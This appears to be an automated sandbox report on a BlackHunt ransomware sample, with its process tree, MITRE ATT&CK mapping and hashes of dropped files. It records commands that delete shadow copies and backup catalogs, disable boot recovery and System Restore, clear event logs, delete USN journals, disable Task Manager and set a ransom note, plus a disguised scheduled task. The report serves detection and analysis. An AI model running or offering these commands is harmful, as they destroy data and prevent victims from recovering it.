  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2744
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2808
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2748
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2776
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:2228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1584
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:2832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1588
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1560
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry class
    PID:2924
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1440
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1740
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1272
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2536
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:3036
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:1324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe" /F
  2⤵
  PID:1068
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2900
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2248
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1928
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2236
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:540
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:592
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1108
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2540
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    - Modifies registry class
    PID:2716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1700
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:1956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2528
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:2412
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:2444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:776
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:1576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:2376
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:2584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:2288
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:1212
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:224
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:1008
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:2696
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2516
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1432
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1496
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2760
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2612
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:232
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:1412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1548
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1424
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:2848
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:2248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:1980
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:3052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:2508
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:2336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:1604
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:2100
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:2068
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:2580
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2400
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\f6b058b026ed9df61379211335e6dd245df5bdb88f59cbe61fa5bd7b89622d10.exe"
  2⤵
  - Deletes itself
  PID:2596
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:2616

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2684

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2772

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1208

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:1776

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
5cb0be66e082c2960bca99d9620b6120

SHA1
f40b8aa50e2e46da0d06e78efc263bd2142123f5

SHA256
b9f4eae9426f44eea16265d92b42028cc9dcc4aa94d87b35e87ba77daf870172

SHA512
4bf419e1694bb3f6e31182d51015ef46a6a258eed6a14b7f810a763a47877c388f9a21682a8d4094f78c4077684a8e6f885943620d72f48f7a9ebf63e8fb1e73

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
33334038e1cf4a9d9dc8b396a579957a

SHA1
277e220a90b412a14ca6e7ed59992e30d1569182

SHA256
32cb1267fc058c139b06c6860615301399eeca707491357862d06c867ec15edc

SHA512
78b4a3c7a91b6453bfd8192bf08059b3752a1dbee000b7302c805de96290d90dc283676d0b0a8ef02f564c5fd8a228e45242e3a530156262212a0bb52a140e8a

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
53afef8c6f106f010deb34a2451ba016

SHA1
7bf53f80046634c81b6f8b785a9116732c9cf14d

SHA256
7c04e1dc6063e9a4a36ff9d6097cff8300a3dd0aac0bc4f4d3f0890f42f58884

SHA512
1c39c3df64aeeb14a9093d3bb18007ee507dcf203b80b5b46b30915c9071e9b8218aa97023398b2afa5aefea2c1fae9bdbf91d9c87ee41f810b5e161941460a7

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads